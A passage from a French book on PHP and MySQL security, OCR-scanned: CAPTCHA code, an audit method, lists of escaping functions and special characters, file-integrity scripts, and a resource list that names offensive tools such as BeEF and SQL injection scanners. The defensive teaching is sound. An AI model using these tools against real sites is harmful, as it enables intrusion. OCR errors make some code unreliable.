sans passer par le formulaire : pas besoin de se fatiguer a servir un robot. 

Si la valeur du test est disponible, alors on 1' utilise pour produire une image a l'aide de la 
fonction imagechar( ) : chaque caractere est represents dans une couleur et une position 
aleatoire, tout en conservant l'ordre des elements de la chaine. 

Notez que deux des composantes de couleurs sont aleatoires et que la troisieme est calculee 
a partir des deux precedentes, ann d'obtenir une couleur assez sombre. 

Finalement, l'image est envoy ee au navigate ur, pour affichage. 

Le test qui est presente est facile a comprendre et pourra servir de base pour un test 
personnalise. Comme nous l'avons indique, il est toujours important de personnaliser les 
tests de Turing, sous peine de devenir une proie pour les spammeurs. Le simple fait que 
ce code soit publie est deja un signe qu'il faudra le modifier. 

Dans cet exemple, nous avons utilise la fonction imagechar( ), qui utilise les cinq polices 
de caracteres toujours disponibles pour PHP. Elles sont relativement petites et parfois 
difficiles a deviner a l'ceil. En revanche, a l'aide d'un autre script PHP, il est plutot aise de 
comparer les pixels de l'image avec des formes standards, pour identifier automatiquement 
la lettre affichee. 

Pour realiser des tests plus forts, il est recommande d'utiliser la fonction imagettftext( ), 
qui prend d'autres parametres de distorsion interessants : une police de caracteres TrueType 
ainsi qu'un angle d'affichage. En voici une utilisation : 

imagettftext($im, rand(13, 25), rand(-30, 30), 0 + 20 * $i + rand(0, 5), 20 + rand(0, 
*10) , Scouleur, ' ./WAVY.TTF' , $_SESSI0NC ' captcha ' ] [$i ] ) ; 

La police de caracteres utilisee est une police non standard : WAVY .TTF. II est possible de 
varier la police a chaque caractere de la chaine, en piochant parmi une collection de polices. 
II est recommande de chercher des polices exotiques, rares et alambiquees pour mieux 
proteger les caracteres. 

Les deux parametres suivants sont la taille de la police, qui varie maintenant entre 13 
et 25, et un angle d'affichage, qui va de -30 a +30 degres. 




Figure 10-2 

Exemple de CAPTCHA visuel 
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Couleurs, angle, taille de police, police de caracteres, positions : nous avons maintenant 
un test qui complique la tache. II reste encore a ajouter des parasites dans l'image, comme 
des traits de couleurs ou des effets d'ombrage pour avoir un niveau de protection honorable. 

Pour avoir une version audible du CAPTCHA, 1' adaptation du script precedent est relati- 
vement simple : ajoutez un lien vers un script appele captcha_son.php, qui reprendra 
l'image de la meme facon, mais la transmettra a un synthetiseur vocal sur votre systeme 
d' exploitation. 
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Mener un audit de securite 



Le seul mot « audit » fait trembler tout le monde, tant dans le monde de l'informatique 
que dans bien d'autres domaines. A fortiori, un « audit de securite », cela ressemble au 
pire cauchemar d'un developpeur. Essayons de comprendre en quoi consiste un audit et 
quelle est son utilite. 

Un audit de securite est un controle. Avant tout, il s'agit de verifier que l'application a 
bien mis en place 1' ensemble des defenses qui ont ete prevues au moment de la conception. 
Apres avoir specifie comment la securite allait etre implementee et une fois les defenses 
programmees, il faut s' assurer que tout fonctionne correctement et conformement a ce 
qui a ete prevu. 

Un audit est un mauvais moment a passer pour les concepteurs et les programmeurs. En 
effet, a ce stade du developpement, l'application est en passe d'etre publiee et le projet 
pret a voir le jour. Les personnes ayant travaille sur le projet sont impatientes de le voir 
evoluer, pas de decouvrir qu'il reste des failles de securite. La pratique montre qu'il y en 
a toujours a corriger. 

Ces failles ont plusieurs origines : problemes de conception, problemes de programmation, 
oublis, mauvaises configurations, presomptions diverses. Si le developpeur et l'adminis- 
trateur ont bien fait leur travail, mais ne se sont pas entendus sur differents points, cela 
peut conduire a un probleme de securite grave. 

« La confiance n'exclut pas le controle », aime a repeter notre ami Christophe Ballihaut ; 
cela s'applique largement en securite. Quand on est trop presse et qu'on publie l'applica- 
tion avant de la verifier, 1' audit ne se fait pas en interne, mais en public, via 1' utilisation 
du site : il suffit d' avoir vu comment cela se passe pour savoir que les visiteurs sont bien 
plus severes avec une application que n'importe quel auditeur, quel qu'il soit. 
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Lauditeur travaille avec vous. II analyse le code de 1' application avec le regard detache 
de celui qui n'a pas pris part au developpement. II est important de discuter avec lui de 
chaque point qu'il va relever au cours de son etude. 

Les meilleurs auditeurs sont generalement les pairs, c'est-a-dire des programmeurs qui 
travaillent dans la meme equipe, mais pas sur les memes projets. Avoir un ceil exerce 
mais neuf sur un projet est un atout primordial pour bien identifier les problemes. 

Enfin, les points de securite souleves par l'audit doivent etre mesures a l'aune des 
missions de 1' application, en fonction desquelles il faudra decider si une correction est 
necessaire ou non. Si la correction n'apporte pas une securite supplementary dans le 
cadre de la mission de 1' application, il ne sera pas utile de la deployer. 

Organiser un audit 

L'audit travaille sur du code connu et doit mettre en evidence des possibilites d'exploita- 
tion de vulnerabilites. Pour cela, il etudie l'ensemble des processus de developpement et 
voit comment ils ont ete appliques. Voici la liste des differentes etapes a suivre, que nous 
detaillerons par la suite : 

1 . lister les concepts de securite appliques ; 

2. reperer les variables d' entree ; 

3. lister les utilisations des fonctions frontieres ; 

4. suivre 1' utilisation des variables ; 

5. remonter 1' utilisation des arguments des fonctions frontieres ; 

6. suivre 1' utilisation des resultats des fonctions frontieres ; 

7. reperer les requetes SQL ; 

8. verifier la configuration du serveur 

9. rechercher les identifiants de connexion ; 

10. faire une revue de code entre pairs ; 

1 1 . rediger un rapport d' audit. 

Lister les concepts de securite appliques 

Interrogez 1' equipe de developpement pour savoir quels sont les points de securite qui 
sont pris en compte : 

• Quelles sont les ressources a proteger en priorite ? 

• Quels sont les exemples de vulnerabilites qui pourraient mettre en danger ces 
ressources ? 

• Quelles sont les protections qui sont utilisees contre ces vulnerabilites ? 
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Comment la securite a-t-elle ete prise en compte dans la conception et le developpe- 
ment de 1' application ? 

Y a-t-il des documents dedies a la securite (manuels, documentations, tests unitaires, 
audits externes, revues) ? 



Reperer les variables d'entree 

Les donnees qui entrent dans le script proviennent d'une seule source : les tableaux super 
globaux de PHP : 

• $_GET et $HTTP_GET_VARS ; 

• $_P0ST et $HTTP_POST_VARS ; 

• $_C00KIE et $HTTP_COOKIE_VARS ; 

• $_SERVER et $HTTP_SERVER_VARS ; 

• $_FI LES et $HTTP_POST_FILES ; 

• $_ENV et $HTTP_ENV_VARS ; 

• $_REQUEST ; 

• $HTTP_RAW_REQUEST ; 

• SGLOBALS. 

Ajoutez a cette liste toutes les variables qui sont affectees de valeurs provenant de ces 
donnees d'entree et observez comment toutes ces valeurs sont utilisees. 

Elles devraient etre validees par des nitres dedies lors de leur entree dans le script. 

Lister les utilisations des fonctions frontieres 

Identifiez toutes les fonctions qui echangent des donnees avec des technologies comple- 
mentaires. II y a trois phases a identifier : 

1. Initialisation : il s'agit de la connexion a un serveur comme une base de donnees 
MySQL, ou alors l'ouverture d'une ressource telle qu'un fichier local. Cette opera- 
tion ne traite pas les donnees, mais prepare leur traitement. Parfois, cette initialisation 
est sous-entendue, comme la connexion avec le navigateur qui soumet la commande. 

2. L' execution d'une commande : c'est la fonction qui envoie l'ordre a la technologie 
attenante d'executer une commande. Par exemple, mysql i_query ( ), header( ) ou encore 
setcookie( ). 

3. La reception du resultat : apres la commande, il faut verifier le resultat. S'il s'agit 
simplement d'un rapport d'execution, comme apres l'envoi d'un cookie ou une inser- 
tion dans une base de donnees, il faut simplement prendre en note cette reussite. Si 
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des donnees sont extraites de la technologie externe, il faut leur appliquer un systeme 
de filtrage, en vue de leur utilisation sur Internet. 

Listez toutes les fonctions PHP natives utilisees dans votre application. 

Suivre l utilisation des variables 

Apres avoir identifie les entrees des donnees dans 1' application, suivez leur utilisation 
dans le script, jusqu' a ce qu'elles soient transmises a une fonction frontiere, dans la liste 
precedente. A ce stade, demandez-vous si les filtrages et les protections sont adaptes a 
1' utilisation de la variable. 

Remonter ('utilisation des arguments des fonctions frontieres 

A partir des fonctions sortantes, identifiez les arguments qui sont utilises et remontez a 
leur origine : si des donnees utilisateur ont servi pour structurer un argument, assurez- 
vous alors que ces donnees ont bien ete validees et protegees avant d'etre utilisees. 

Suivre ('utilisation des resultats des fonctions frontieres 

Lorsque vous recevez des donnees en provenance de technologies externes, telles que la 
base de donnees ou un serveur LDAP, validez-les comme vous l'avez fait pour celles en 
provenance de 1' utilisateur web. 

Puis, suivez leur utilisation dans le script : il faut que la nature externe des donnees soit 
facile a identifier dans un script. 

Reperer les requetes SQL 

Utilisez un outil de recherche textuel pour reperer les utilisations de commandes SQL, 
notamment SELECT, UPDATE, DELETE, INSERT, LOAD DATA, CREATE, ALTER, DROP ainsi que des 
clauses telles que ORDER BY, WHERE, GROUP BY, FROM, UNION ou JOIN. Ces constituants sont 
particulierement importants dans les requetes SQL. C'est souvent pres d'eux que Ton 
retrouve la concatenation de variables qui engendreront les injections SQL. 

Verifier la configuration du serveur 

Utilisez phpinfoO ou directement le fichier php.ini pour lire la configuration PHP de 
votre serveur. Passez en revue les directives qui sont indiquees dans la section sur la 
configuration PHP de cet ouvrage. 

Vous pouvez aussi utiliser phpSecInfo pour avoir un avis generaliste sur la configuration 
de votre installation PHP. 
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Utilisez la commande SHOW VARIABLE ou alors demandez les fichiers .cnf du serveur 
MySQL a l'administrateur responsable de la mise en production de 1' application. 

Rechercher les identifiants de connexion 

Les identifiants de connexion aux serveurs distants doivent etre proteges. Essayez de les 
reperer dans le code, pour voir s'ils sont faciles a retracer. Vous pouvez commencer avec 
la liste des fonctions frontiere, notamment les fonctions de connexion distantes. 

Faire une revue de code entre pairs 

A partir des priorites de securite du site, faites relire a une partie de I'equipe le code de 
1' autre partie de I'equipe. La relecture permet d' avoir un regard critique et parfois sans 
concession sur le code qui a ete produit. Ce systeme permet de supprimer tres efficacement 
bon nombre de coquilles et d'erreurs d'etourderie. 

Rediger un rapport d'audit 

A la fin d'une telle etude, prenez le temps de rediger un rapport mentionnant les points 
positifs et negatifs mis en evidence en termes de securite. Ce document sera precieux 
pour justifier du niveau de securite aupres de vos clients ou de votre patron. 

C'est aussi la preuve que la securite a ete prise au serieux dans le developpement de 
l'application. Eventuellement, vous pourrez y consigner les problemes potentiels ou 
averes que vous avez reperes et qui meritent un point d'action des le prochain cycle de 
developpement. 
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Fonctions de securite 
et caracteres speciaux 



La securite doit faire partie integrante du processus de developpement : conception, 
design et programmation doivent etre impregnes des concepts de securite pour assurer 
une surveillance efficace. 

Rappelons les points de securite qu'il est recommande de garder en tete (reportez-vous 
au chapitre 1 1 pour plus d' explications) et de mettre entre les mains de tous les membres 
de l'equipe de developpement. lis reprennent les points presentes dans le livre et sont 
rassembles ici arm de les retrouver facilement lors de la programmation de tous les jours. 

1. Verifiez les configurations de PHP et MySQL. 

2. Filtrez les donnees entrantes. 

3. Identifiez les donnees brutes et les donnees filtrees. 

4. Protegez les donnees sortantes. 

5. Identifiez les frontieres de 1' application web et assurez-vous que les donnees y sont 
bien traitees. 

6. Veillez a la gestion des erreurs. 

7. Notez les informations dans des logs. 

Pour vous aider dans votre demarche, nous dressons ici la liste des principales fonctions 
de securite et caracteres speciaux qui sont souvent utilises dans une application PHP. 
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Fonctions de protection de PHP 

Les fonctions de protection servent a neutraliser une chaine de caracteres et la rendent 
litterale avant de la faire traiter par une technologie externe. 

Cette liste a ete etablie a partir de la version PHP 5.2.0, mais les fonctions sont pour la 
plupart disponibles depuis longtemps dans les versions precedentes de PHP. 

• HTML/XML/XHTML 

— html entiti es( ), html speci al chars( ) ; 

— html speci al chars_decode( ), html_entity_decode( ) ; 

— strip_tags( ). 

• URL 

— url encode( ), rawurl encode( ). 

• Bases de donnees 

— pdo->quote( ) ; 

— mysql i_real_escape_string( ), mysql i_bi nd_param( ), mysql i_bi nd_resul t( ) ; 

— mysql_escape_stri ng( ), mysql_real_escape_string( ) ; 

— pg_escape_string( ), pg_escape_bytea( ) ; 

— sql i te_escape_string( ). 

• Date 

— checkdateO ; 

— strtotime( ) . 

• Fichiers 

— realpathO ; 

— is_uploaded_file( ) ; 

— is_readable( ), is_writeable( ), is_executable( ) ; 

— is_di r( ), is_l ink( ), is_file( ) ; 

— hash_file(), nd5_file(), shal_file(). 

• Expression reguliere 

— preg_quote( ). 

• Systeme 

— escapeshel 1 cmd( ) ; 

— escapeshel 1 arg( ). 
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• IP 

— Ip21ong() ; 

• Chaine 

— quotemetaO ; 

— ctype_al num( ), ctype_alpha( ), ctype_cntrl ( ), ctype_digit( ), ctype_graph( ), 
ctype_l ower( ), ctype_pri nt( ), ctype_punct( ), ctype_space( ), ctype_upper( ), 
ctype_xdigit( ) ; 

— addsl ashes( ), addcsl ashes( ). 

• Nombre 

i s_numeri c( ), is_int(), i s_doubl e( ). 

• Variables 

— f i 1 ter_input_array( ), f i 1 ter_input( ) ; 

— filter_var_array(), filter_var(). 

• Booleen 

— is_bool(). 

• Image 

— getimagesize( ). 



Caracteres speciaux 

Voici une petite liste des caracteres speciaux auxquels il faut faire attention lors de la 
construction du resultat d'un script PHP ou des commandes envoyees a une ressource 
externe. 

• < et > 

- balises HTML et XML ; 

- informations complementaires dans une adresse electronique ; 

- operateurs mathematiques en PHP, JavaScript et MySQL. 

• • et " 

- representation classique de valeurs litterales ; 

- utilises dans les attributs XML et HTML. 

• 

- delimiteur de table dans une requete MySQL ; 

- delimiteur de commande Shell depuis PHP. 
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• / 

- separateur de dossier sous Unix ; 

- souvent utilise comme delimiteur de motif d'expression rationnelle ; 

- en doublet : commentaire PHP, JavaScript ou SQL. 

• \ 

- caractere classique de protection dans une chaine ; 

- separateur de dossier sous Windows. 

• % 

- joker universel avec l'operateur LIKE ; 

- caractere initial d'entite URL. 

• _ (souligne, ou underscore) 

- joker unitaire avec l'operateur LIKE. 

• & 

- entite HTML ; 

- operateur logique en PHP et JavaScript ; 

- execution asynchrone en Shell. 

• ( et ) 

- sous-requete SQL. 

• \r, \n 

- separateurs d'en-tete HTTP ; 

- separateurs d'en-tete de courrier electronique. 

• 

- fin de requete SQL ; 

- fin d'entite HTML ; 

- fin d'une instruction PHP, JavaScript et bien d'autres langages de programmation ; 

- separateur de style CSS. 

• I (pipe) 

- enchainement de processus ; 

- operateur logique OU classique (SQL, PHP). 

• + 

- espace dans une URL ; 

- operateur mathematique universel d' addition. 
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• \0 (Caractere Null) 

- fin de chaine de caracteres en C. 

• i 

- negation logique. 

• $ 

- prefixe de variable en PHP ; 

- fin de modele dans une expression reguliere. 

• @ 

- separateur dans une adresse courriel ; 

- prefixe de variable en MySQL. 

• - (tiret, ou signe moins) 

- operateur mathematique universel de soustraction ; 

- en doublet : commentaire SQL. 

Fonctions citees dans le livre 

Nous avons rassemble dans cette annexe la liste des fonctions qui sont citees dans cet 
ouvrage. Elles l'ont ete pour diverses raisons : vulnerabilite potentielle, fonction de 
protection, comportement particulier, fonction peu connue. Dans tous les cas, leur utilisa- 
tion a une relation certaine avec le niveau de securite de votre application. 

Nous vous proposons de prendre les fonctions de cette liste, de verifier si vous les utilisez 
ou pas dans vos scripts et, le cas echeant, de verifier que les mesures de precaution ont 
bien ete prises. 

Vous pouvez vous servir de 1' index pour retrouver toutes les explications reliees a chaque 
fonction. 



addcsl ashes( ); 


• ctype_al num( 


addsl ashes( ) ; 


• ctype_alpha( 


arrayO ; 


• ctype_cntrl ( 


assertO ; 


• ctype_digit( 


checkdnsrrO ; 


• ctype_graph( 


chrootO ; 


• ctype_lower( 


copyO ; 


• ctype_print( 


crypto ; 


• ctype_punct( 



Annexes 

Parte 5 



ctype_space( ) ; 


• imagettftext( ) ; 


ctype_upper( ) ; 


• imap_errors( ) ; 


ctype_xdigit( ) ; 


• imap_open() ; 


curl_error() ; 


• imap_utf8() ; 


curl_exec() ; 


• import_request_variables( ) 


curl_init( ) ; 


• incl ude_once( ) ; 


die() ; 


• includeO ; 


dl() ; 


• ini_get() ; 


escapeshel 1 arg( ) ; 


• ini_set() ; 


escapeshel 1 cmd( ) ; 


• ip21ong() ; 


evalO ; 


• is_array() ; 


execO ; 


• is_bool() ; 


exitO ; 


• is_dir() ; 


extractO ; 


• is_double() ; 


f i 1 e_exi sts( ) ; 


• i s_executabl e( ) ; 


f i 1 e_get_contents( ) ; 


• is_float() ; 


fileO ; 


• is_int() ; 


filesizeO ; 


• i s_l i n k ( ) ; 


fopenO ; 


• is_long() ; 


fsockopenO ; 


• is_numeric( ) ; 


get_defined_functions() ; 


• is_object() ; 


get_headers( ) ; 


• i s_readabl e( ) ; 


getenvO ; 


• is_real() ; 


getimagesize( ) ; 


• i s_resource( ) ; 


globO ; 


• is_scalar() ; 


headerO ; 


• is_string() ; 


html entities ( ) ; 


• is writeableO ; 


html speci al chars( ) ; 


• issetO ; 


iconvO ; 


• mailO ; 


i gnore_user_abort( ) ; 


• md5() ; 


imagecharO ; 


• memory_get_peak_usage( ) ; 
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memory_get_usage( ) 

mktimeO ; 

mysql_connect( ) ; 

mysql_errno( ) ; 

mysql_error( ) ; 

mysql _pconnect( ) ; 

mysql i_connect_error( ) 

mysql i_connect( ) ; 

mysql i_errno( ) ; 

mysql i_error( ) ; 

mysql i_multi_qijery( ) ; 

mysql i_query( ) ; 

mysql i_real_escape_string( ) ; 

ora_open() ; 

parse_str() ; 

parse_url() ; 

passthruO ; 

pg_connect( ) ; 

pg_escape_stn'ng( ) ; 

pg_l ast_error( ) ; 

phpinfoO ; 

popenO ; 

preg_repl ace_cal 1 back( ) ; 
preg_repl ace( ) ; 
printfO ; 
proc_open() ; 
putenvO ; 
quotemeta( ) ; 
realpathO ; 

register_shutdown_function( ) ; 
register_tick_function( ) ; 



requi re_once( ) ; 

requireO ; 

scandirO ; 

session_destroy( ) ; 

session_regenerate_id( ) ; 

session_set_save_handl er( ) ; 

session_start( ) ; 

set_executi on_time( ) ; 

set_include_path( ) ; 

set_magic_quotes_runtime( ) ; 

set_time_l imit( ) ; 

setcookieO ; 

setrawcooki e( ) ; 

shell_exec() ; 

sleepO ; 

socketO ; 

sql ite_open( ) ; 

sql ite_query( ) ; 

str_repl ace( ) ; 

str_rotl3() ; 

stripsl ashes( ) ; 

strlenO ; 

strtoupperO ; 

substrO ; 

symlinkO ; 

sys_get_temp_di r( ) ; 

systemO ; 

tempnamO ; 

timeO ; 

unlinkO ; 

usleepO ; 



B 

Sauvegardes 



N'oublions pas une strategie de protection classique : la mise en place des sauvegardes. 
C'est un peu comme les extincteurs dans nos maisons : ils sont encombrants, cofitent 
cher et ne sont presque jamais utilises... Cependant, lorsque survient 1' accident irreme- 
diable, on se felicite d'y avoir pense. 

On distingue deux types d' informations a sauvegarder : l'application et les donnees. 

Sauvegarde de l'application 

La sauvegarde de l'application se fait idealement durant le processus de developpement 
et a l'aide d'un serveur de controle de versions. Ce dernier sert au developpement en 
equipe et concentre toutes les modifications des scripts au fur et a mesure des evolutions 
du code. Lors de la mise en production, le code teste est d'abord marque avec un numero 
de version, puis mis en ligne. 

Dans le cas d'un desastre ou d'une intrusion, le code est bien sauvegarde dans un systeme 
independant et il est facile de recuperer une copie fraiche et intacte de l'application. 

Automatiser la remise en etat 

Pour pouvoir reprendre rapidement apres un incident, il est important d'automatiser la 
mise en production du code. Cela signifie que la mise en production d'une version propre 
de l'application doit pouvoir se faire d'un simple appel de script, en une seule ligne. Au 
beau milieu de la tempete, cela sera un avantage substantiel. 
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Automatiser la surveillance du code 

A partir du serveur de sauvegarde, il est aussi possible de monter un robot de surveillance 
des codes source. A l'aide du programmateur d'evenements de votre systeme, comme le 
celebre cron du monde Linux, un script PHP s'execute a intervalle regulier et effectue 
une comparaison des scripts en production avec ceux qui sont dans le serveur de sources. 
Si le robot detecte une difference, il met de cote le code fautif, extrait une nouvelle 
version propre et en informe l'administrateur. 

La comparaison peut se faire directement a l'aide des outils de controle de versions, tels que : 

Prompt> cvs diff 
Prompt> svn diff 

Elle peut aussi etre organisee sans ces outils. II faut alors proceder en deux etapes. Au 
moment de la mise en production, le robot passe une premiere fois pour identifier les 
fichiers a surveiller. Pour chaque script, il prend une signature MD5 de tous les fichiers. 
II note chaque signature dans un fichier, avec le chemin du fichier. 

<?php 

$signatures = scanne_di r( ' ./web' ) ; 

file_put_contents( '/path/secret/signatures. inc. php ' , '<?php Ssignatures 
' .var_export($signatures , true).'; ?>'); 

function scanne_dir($path) { 
$retour = arrayO; 
if (!$fichiers = scandir($path)) { 
return Sretour; 

} 



foreach($fichiers as $fichier) { 

if ($fichier{0) == '.') { continue; ) 

if (is_dir("$path/$fichier")) { 

Sretour = array_merge($retour, scanne_dir("$path/$fichier")) ; 
} else { 

$retour["$path/$fichier"] = md5_file("$path/$fichier"); 

} 

} 

return $retour; 

} 

?> 

Le fichier de signatures ainsi genere peut etre modifie, manuellement ou automatique- 
ment, pour exclure certains fichiers ou extensions de fichiers. 

Dans un deuxieme temps, le robot se sert de cette liste pour verifier que les scripts n'ont 
pas ete modifies. 



Sauvegardes J 

<?php 

include( '/path/secret /si gnat u res. inc.php' ) ; 
$test = verifie_dir( ' ./dossier' , Ssignatures) ; 

print_r($test) ; 

function verifie_dir($path, Ssignatures) { 
Sretour = array( ) ; 
if (!$fichiers = scandir($path)) { 
return $retour; 

} 

foreach($fichiers as Sfichier) { 

if ($fichier{0} == '.') { continue; } 

if (is_dir("$path/$fichier")) { 

Sretour = array_merge($retOLir, verifie_dir("$path/$fichier", Ssignatures)); 
} else { 

if ($signatures["$path/$fichier"] !=md5_file ( "$path/$fichier" ) ) { 
$retour[] = "$path/$fichier" ; 

} 

} 

} 

return $retour; 

} 

?> 

La technique du robot de surveillance vous permet de tester en permanence un site. Elle 
permet egalement de prendre des mesures de correction des qu'un probleme est detecte, 
tout en le signalant a 1' administrate ur. Le robot est particulierement adapte pour 
surveiller les fichiers qui ne changent pas, comme des scripts d' application. 

Sauvegarde des donnees 

Du point de vue de la securite, la sauvegarde des donnees est plus delicate. II faut bien sur 
etre capable de copier les donnees sans perturber le systeme en fonctionnement, ce qui 
est deja un metier en soi. 

Malheureusement, il n'est pas possible de comparer les donnees placees sur le serveur 
avec une valeur de reference, comme c'est le cas avec le code source. La solution la plus 
fiable est done la copie pure et simple des donnees sur un systeme secondaire. 

Securite du support de stockage 

Le systeme de stockage est lui-meme un point de securite a surveiller : par exemple, 
imaginez que la base de donnees soit sauvegardee regulierement tous les jours, sur des 
disques numeriques amovibles. Les disques de sauvegarde doivent maintenant faire 
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partie de votre plan de securite. En effet, que se passerait-il si un employe en prenait un 
pour l'emmener apres le travail ? La fuite d'information ne passe plus par le reseau, mais 
par l'acces physique a vos bureaux. En 2003, Douanes Canada s'est fait voler des disques 
durs contenant les dossiers confidentiels de 120 000 Canadiens. . . 



Restauration des donnees 

Lorsque les donnees sont en sfirete, il est aussi important de tester le systeme qui les 
restaurera le cas echeant. En effet, ce dernier n'est sollicite que lorsque la catastrophe 
frappe et, c'est bien connu, les extincteurs tombent toujours en panne quand le feu prend. 
II est done important de s'exercer a restaurer les donnees dans des conditions favorables, 
pour ne pas etre pris au depourvu quand la situation l'exigera. 



c 



Ressources web 



Internet regorge de ressources utiles, qu'il s'agisse d'outils logiciels ou de sites d'infor- 
mation et d' explication. Nous vous proposons une liste des sites qui nous semblent les 
plus interessants dans le cadre de cet ouvrage. 

Outils utiles 

Les outils cites ici sont tous tres utiles et il est bon de les avoir sous la main. Cette liste 
est reprise sur les sites de nexen.net, http://www.nexen.net/securite/outils.php, et de 
PHPortail.net, http://www.phportail . net /annuai re/20- securite.php 

PHP et MySQL 
Suhosin 

http: //www. hardened-php. net/suhosi n/index. html 

Suhosin est un patch de securite avance pour PHP, qui protege la plate-forme contre des 
vulnerabilites connues et inconnues. II propose notamment des directives de configuration 
supplementaires plus precises, des listes blanches et noires pour les inclusions de code, 
des protections supplementaires pour mailO, headerO et preg_repl ace( ), le chiffrement 
transparent des cookies et des sessions, ainsi que des enregistrements en logs. 

PhpSeclnfo 

http: //phpsec. org/projects/phpsecinfo 

PhpSeclnfo est une classe qui analyse la configuration de PHP et indique immediatement 
les points qui meritent d'etre etudies voire modifies, pour suivre les recommandations du 
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groupe PHP. Cet outil identifie les erreurs de configuration les plus courantes et eduque 
les utilisateurs a une gestion responsable des directives. 



Outils de filtrages 
SafeSQL 

http://www.phpinsider.com/php/code/SafeSQL 

SafeSQL est une classe PHP qui se charge de nettoyer les donnees qui iront dans une 
requete SQL, les protegeant contre les injections et autres malformations eventuelles 
provenant des donnees utilisateurs. Elle a ete essentiellement testee avec MySQL et 
ANSI SQL. 

sqMnject 

http: //www. phpcl asses .org/browse/package/1341 . html 

II s'agit d'une classe PHP qui analyse les valeurs destinees aux requetes SQL, avant 
qu'elles ne compromettent le serveur. 

PHP Validation 

http: //www. benjamin keen . com/software/php_val idation 

Voila une petite bibliotheque de validation, avec un grand nombre de contraintes et de 
formats. 

PEAR Validate 

http://pear.php.net/package/val idate 

II s'agit des classes de validation de la bibliotheque PEAR de PHP. Elles sont disponibles 
pays par pays. Une classe generale repond aux problemes de filtrage les plus courants : 
nombres, adresse electronique, URI, dates, etc. 



Robots de tests 
Rats 

http: //www. securesoftware.com/resources/downl oad_rats .html 

RATS, acronyme de Rough Auditing Tool for Security, est un outil a code ouvert qui 
analyse le code PHP ainsi que C/C++, Python et Perl, a la recherche de vulnerabilites 
potentielles ou averees. 

Nikto 

http://www.cirt.net/code/ni kto.shtml 

Nikto teste une application web depuis le Web : le robot teste sur le site de nombreuses 
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vulnerabilites identifiees dans les sites dedies, pour les reperer et vous eviter d'etre 
victime des problemes les plus courants. Les bases de Nikto incluent un grand nombre de 
vulnerabilites d' applications PHP. 

Fierce Domain Scan 

http://ha.ckers.org/fierce 

Fierce est un auditeur de securite web. II est notamment capable de tester des domaines qui 
ne sont pas continus. II a ete concu pour analyser un domaine et identifier des sites qui sont 
des cibles potentielles pour une attaque web. Fierce est un outil de reconnaissance. 

Burp 

http://portswigger.net/suite 

Burp est une suite d' applications qui collaborent pour tester une application web de 
maniere systematique : le proxy enregistre vos visites sur le site, puis le spider passe en 
revue tout le site et le repeater execute a nouveaux les memes operations. Enfin, V intruder 
facilite la mise en place d'attaques. 

Chorizo! 

http://www.chorizo-scanner.com 

Chorizo! est un proxy installe entre votre application et votre navigateur : au fur et a mesure 
de votre navigation, il teste les differentes pages avec de nombreuses valeurs pour identifier 
un maximum de vulnerabilites. Chorizo! est un service payant et fonctionne en intranet. 

BeEF 

http: //www. binds hel 1 .net/ tool s/beef 

BeEF est un utilitaire qui ameliore les possibilites d' exploitation de XSS. Alors qu'il est 
souvent simple d' exploiter une vulnerability pour seulement faire apparaitre une alerte 
JavaScript ' XSS ' , BeEF permet de prendre effectivement controle du navigateur a distance. 

PHP Honeypot Project 

http: //www. rstack.org/phphop 

Un projet de pot de miel en PHP, destine a attirer les pirates pour mieux les identifier et 
s'en proteger. 

15 scanners d'injections SQL 

http: //www. security- hacks . com/2007/05/18/top-15-f ree-sql -injection-scanners 
http://www.security-hacks.com/ 

Security-hacks a rassemble 15 outils qui permettent de realiser un audit automatique 
des pages web contre les injections SQL. Divers serveurs sont couverts, et notamment 
MySQL. 
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Ces outils sont interessants a etudier, car ils exploitent chacun une ou plusieurs conditions. 
Lorsque vous en connaitrez plus sur les philosophies d'attaque, vous pourrez mieux vous 
proteger. 



Actualites 

Securite PHP 

Ilia Alshanetsky 

http://www.ilia.ws 

Le blog d' Ilia Alshanetsky, un pilier du groupe PHP, porte un regard particulier sur les 
aspects securite et performances de PHP. Ilia est Tun des responsables des publications 
de PHP et de 1' assurance qualite. 

Chris Shiflett 

http://www.shiflett.org 

II s'agit du blog de Chris Shiflett, l'un des experts PHP les plus connus. 
Stefan Esser 

http://blog.php-security.org 

Stefan Esser est Tun des experts de la securite PHP les plus agressifs sur le marche. On 
lui doit de nombreuses decouvertes de vulnerabilites, en PHP comme pour d'autres 
applications web. 

Php Secure. info 

http://www.phpsecure. info/v2/.php 

Voici un site qui recense les vulnerabilites de PHP et de differentes applications web, telles 
que publiees officiellement sur des sites de reference tels que security focus, CERT, secunia, 
frSIRT, ou security Tracker. On trouve aussi plusieurs articles sur la securite, en francais. 

Consortium de securite PHP 

http://phpsec.org 

PHP Security Consortium : ce site web est dedie a la securite PHP. Vous y trouverez des 
articles de fond ainsi que des projets consacres a la securite. 

Documentation PHP sur la securite 

http://www.php.net/manual /f r/security . php 

Vous trouverez a cette adresse le chapitre de la documentation PHP consacre a la securite, 
traduit en francais. 
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Wiki Secure PHP 

http://www.securephpwiki .com 

Ce wiki est consacre a la securite PHP et comporte beaucoup d' explications de fond sur 
les mecanismes d'attaque et de defense des applications PHP contre les menaces du Web. 

Nexen.net 

http://www.nexen.net 

Portail PHP et MySQL, avec de nombreuses informations consacrees a la securite : 

• Alertes de securite : depeche qui parait tous les samedis, avec la liste des alertes de 
securite les plus importantes de la semaine. 

• Le coin de la securite : dossier mensuel sur les pratiques de la securite en PHP, ecrits 
par Ilia Alshanetsky et Chris Shiflett, traduits en francais. 

• Lettre hebdomadaire PHP et MySQL : c'est un excellent moyen pour se tenir au 
courant des changements de versions des plates-formes. Vous recevez un flash special 
lorsqu'une nouvelle version de PHP ou MySQL est publiee. 

PHPortail.net 

http://www.phportail .net 

PHPortail propose des aides, tutoriels, cours, forums et nouvelles sur PHP, afin de vous 
faire decouvrir ce langage ou vous perfectionner. PHPortail propose aussi des alertes de 
securite ainsi qu'un annuaire d'outils. 

Securite MySQL 

Documentation MySQL sur la securite 

http: //dev .mysql . com/doc/ ref man/ 5. 0/f r/securi ty . html 

Le chapitre de la documentation MySQL concernant la securite y est traduit en francais. 
MySQL Network Scanner 

http://www.securiteam.com/tool s/6Y00 L0U5PC.html 

Voici un outil qui scanne tout un reseau a la recherche de bases de donnees MySQL mal 
securisees. 

Securite des applications web 
Ha.ckers.org 

http://ha.ckers.org 

Le blog de RSnake propose de nombreuses depeches dans le domaine de la securite des 
applications web. Les concepts et les prototypes ne sont pas relies directement a PHP, 
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mais sont parfaitement utilisables. Notez en particulier une excellente liste d'exemple 
d' injections XSS qui fonctionnent et qui pourraient passer outre de nombreux filtres. 

Jeremiah Grossman 

http://jeremiahgrossman.blogspot.com 

